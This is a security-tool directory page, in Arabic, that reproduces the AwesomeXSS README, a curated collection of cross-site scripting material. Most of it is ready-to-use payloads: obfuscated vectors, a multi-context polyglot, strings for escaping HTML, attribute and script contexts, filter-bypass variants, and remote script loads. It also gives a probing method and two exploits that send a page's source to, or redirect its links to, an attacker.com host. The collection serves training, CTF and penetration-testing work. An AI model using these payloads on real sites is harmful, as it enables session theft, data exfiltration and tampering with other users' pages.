Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
AwesomeXSS — أشياء رائعة عن XSS | Kitploit
أدوات/GitHubGitHub/s0md3v/awesomexss
توليد الحمولةتجاوز WAFأمن الويبCTFالأوراق والأبحاثالتعلم والتعليمموارد منسقةمسارات ودورات التعلممختبرات وتدريب عملي
GitHubs0md3v/awesomexss

AwesomeXSS

أشياء رائعة عن XSS

عرض المستودع
5.1k782منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

AwesomeXSS

هذا المستودع عبارة عن مجموعة من موارد XSS الرائعة. المساهمات مرحّب بها ويُرجى تقديمها عبر issue.

المحتويات الرائعة

  • التحديات
  • القراءات والعروض التقديمية
  • الأدوات
  • الخرائط الذهنية
  • DOM XSS
  • الحمولات
  • الحمولات متعددة السياقات
  • الوسوم ومعالجات الأحداث
  • كسر السياق
    • سياق HTML
    • سياق السمة
    • سياق JavaScript
  • متغيرات Confirm
  • الاستغلالات
  • الاستكشاف
  • التجاوز
  • الترميز
  • النصائح والحيل

التحديات الرائعة

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

القراءات والعروض التقديمية الرائعة

  • تجاوز آليات اكتشاف XSS
  • XSS في فيسبوك عبر أنواع محتوى PNG
  • كيف قابلت صديقتك
  • كيف تجد 1,352 ثغرة XSS في إضافات ووردبريس خلال ساعة واحدة
  • Blind XSS
  • Copy Pest

الأدوات الرائعة

  • XSStrike
  • BeEF
  • JShell

الخرائط الذهنية الرائعة لـ XSS

خريطة ذهنية جميلة لـ XSS من إعداد Jack Masa، هنا

DOM XSS الرائع

  • هل يصل إدخالك إلى sink؟ Vulnerable
  • ألا يصل؟ Not vulnerable

Source: إدخال يمكن التحكم به من مصدر خارجي (غير موثوق).

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: طريقة قد تكون خطيرة ويمكن أن تؤدي إلى ثغرة أمنية. في هذه الحالة، XSS قائم على DOM.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

تم أخذ هذه القائمة الشاملة للمصادر وsinks من domxsswiki.

الحمولات الرائعة

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

الحمولات متعددة السياقات الرائعة

إليك حمولة XSS متعددة السياقات (polyglot) قمت بصنعها ويمكنها كسر أكثر من 20 سياقًا:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

شرح لكيفية عملها، هنا

الوسوم ومعالجات الأحداث الرائعة

  • 105 معالج أحداث مع وصف
  • 200 معالج أحداث بدون وصف

بعض معالجات الأحداث الأقل اكتشافًا

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

بعض وسوم HTML التي قد تستخدمها

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

كسر السياق الرائع

سياق HTML

الحالة: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

سياق السمة

الحالة: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

سياق JavaScript

الحالة: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

متغيرات Confirm الرائعة

نعم، استخدم confirm لأن alert أصبح تقليديًا.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

الاستغلالات الرائعة

استبدال جميع الروابط

root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});

سارق الكود المصدري

root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

الاستكشاف الرائع

إذا لم ينجح أي من هذا، ألقِ نظرة على قسم Awesome Bypassing

أولًا، أدخل سلسلة غير ضارة مثل d3v وانظر إلى الكود المصدري لتكوين فكرة عن عدد وسياقات الانعكاس.
الآن بالنسبة لسياق السمة، تحقق مما إذا كانت علامات الاقتباس المزدوجة (") تُفلتر عن طريق إدخال x"d3v. إذا تغيّرت إلى x&quot;d3v، فمن المرجح أن المخرجات يتم ترميزها بشكل صحيح. إذا حدث ذلك، جرّب الأمر نفسه مع علامات الاقتباس المفردة (') بإدخال x'd3v، وإذا تغيّرت إلى x&apos;، فأنت في مأزق. الشيء الوحيد الذي يمكنك تجربته هو الترميز.
إذا لم تتم فلترة علامات الاقتباس، يمكنك ببساطة تجربة الحمولات من قسم Awesome Context Breaking.
بالنسبة لسياق JavaScript، تحقق من علامات الاقتباس المستخدمة، على سبيل المثال إذا كانوا يستخدمون

root@kitploit:~
variable = 'value' or variable = "value"

الآن لنفترض أن علامات الاقتباس المفردة (') هي المستخدمة، في هذه الحالة أدخل x'd3v. إذا تغيّرت إلى x\'d3v، حاول تخطي الخط المائل العكسي () بإضافة خط مائل عكسي إلى اختبارك، أي x\'d3v. إذا نجح الأمر، استخدم الحمولة التالية:

root@kitploit:~
\'-alert()//

ولكن إذا تغيّرت إلى x\\\'d3v، فإن الشيء الوحيد الذي يمكنك تجربته هو إغلاق وسم السكربت نفسه باستخدام

root@kitploit:~
</script><svg onload=alert()>

بالنسبة لسياق HTML البسيط، يكون الاختبار هو x<d3v. إذا تغيّر إلى x&gt;d3v، فهناك تنقية (sanitization) مناسبة. إذا انعكس كما هو، يمكنك إدخال وسم وهمي للتحقق من المرشحات المحتملة. الوسم الوهمي الذي أحب استخدامه هو x<xxx>. إذا تمت إزالته أو تغييره بأي شكل، فهذا يعني أن المرشح يبحث عن زوج من < و >. يمكن تجاوزه ببساطة باستخدام

root@kitploit:~
<svg onload=alert()//

أو هذا (لن يعمل في جميع الحالات)

root@kitploit:~
<svg onload=alert()

إذا ظهر وسمك الوهمي في الكود المصدري كما هو، فاستخدم أيًا من هذه الحمولات

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

التجاوز الرائع

ملاحظة: لا تستخدم أي من هذه الحمولات علامات الاقتباس المفردة (') أو المزدوجة (").

  • بدون معالجات أحداث
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • بدون مسافات
root@kitploit:~
<svg/onload=confirm()>

  • بدون شرطة مائلة (/)
root@kitploit:~
<svg onload=confirm()>

  • بدون علامة يساوي (=)
root@kitploit:~
<script>confirm()</script>
  • بدون قوس زاوي إغلاق (>)
root@kitploit:~
<svg onload=confirm()//
  • بدون alert أو confirm أو prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • بدون وسم HTML صالح
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • تجاوز القائمة السوداء للوسوم
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

الترميز الرائع

النصائح والحيل الرائعة

  • يمكن اختصار http(s):// إلى // أو /\\ أو \\.
  • يمكن اختصار document.cookie إلى cookie. وينطبق ذلك على كائنات DOM الأخرى أيضًا.
  • لا تحتاج الدالة alert وغيرها من دوال النوافذ المنبثقة إلى قيمة، لذا توقف عن استخدام alert('XSS') وابدأ باستخدام alert()
  • يمكنك استخدام // لإغلاق وسم بدلاً من >.
  • وجدت أن confirm هي أقل دالة منبثقة يتم اكتشافها، لذا توقف عن استخدام alert.
  • علامات الاقتباس حول قيمة السمة ليست ضرورية طالما أنها لا تحتوي على مسافات. يمكنك استخدام <script src=//14.rs> بدلاً من <script src="//14.rs">

الاعتمادات الرائعة

جميع الحمولات من صياغتي ما لم يُنص على غير ذلك.

تنزيل الأداة
HTMLالحرفالرقميالوصفالسداسي عشريCSS (ISO)JS (Octal)URL
&quot;"&#34;علامة اقتباسu+0022\0022\42%22
&num;#&#35;علامة رقمu+0023\0023\43%23
&dollar;$&#36;علامة الدولارu+0024\0024\44%24
&percnt;%&#37;علامة النسبة المئويةu+0025\0025\45%25
&amp;&&#38;علامة العطفu+0026\0026\46%26
&apos;'&#39;فاصلة علياu+0027\0027\47%27
&lpar;(&#40;قوس أيسرu+0028\0028\50%28
&rpar;)&#41;قوس أيمنu+0029\0029\51%29
&ast;*&#42;نجمةu+002A\002a\52%2A
&plus;+&#43;علامة الجمعu+002B\002b\53%2B
&comma;,&#44;فاصلةu+002C\002c\54%2C
&minus;-&#45;واصلة-ناقصu+002D\002d\55%2D
&period;.&#46;نقطة؛ فترةu+002E\002e\56%2E
&sol;/&#47;شرطة مائلةu+002F\002f\57%2F
&colon;:&#58;نقطتان رأسيتانu+003A\003a\72%3A
&semi;;&#59;فاصلة منقوطةu+003B\003b\73%3B
&lt;<&#60;أقل منu+003C\003c\74%3C
&equals;=&#61;يساويu+003D\003d\75%3D
&gt;>&#62;علامة أكبر منu+003E\003e\76%3E
&quest;?&#63;علامة استفهامu+003F\003f\77%3F
&commat;@&#64;علامة @u+0040\0040\100%40
&lsqb;[&#91;قوس مربع أيسرu+005B\005b\133%5B
&bsol;\&#92;خط مائل عكسيu+005C\005c\134%5C
&rsqb;]&#93;قوس مربع أيمنu+005D\005d\135%5D
&Hat;^&#94;علامة الإقحامu+005E\005e\136%5E
&lowbar;_&#95;شرطة سفليةu+005F\005f\137%5F
&grave;`&#96;نبرة غريفu+0060\0060\u0060%60
&lcub;{&#123;قوس مجعد أيسرu+007b\007b\173%7b
&verbar;|&#124;شريط عموديu+007c\007c\174%7c
&rcub;}&#125;قوس مجعد أيمنu+007d\007d\175%7d
  • أقصر حمولة XSS في سياق HTML هي <script src=//14.rs> (19 حرفًا)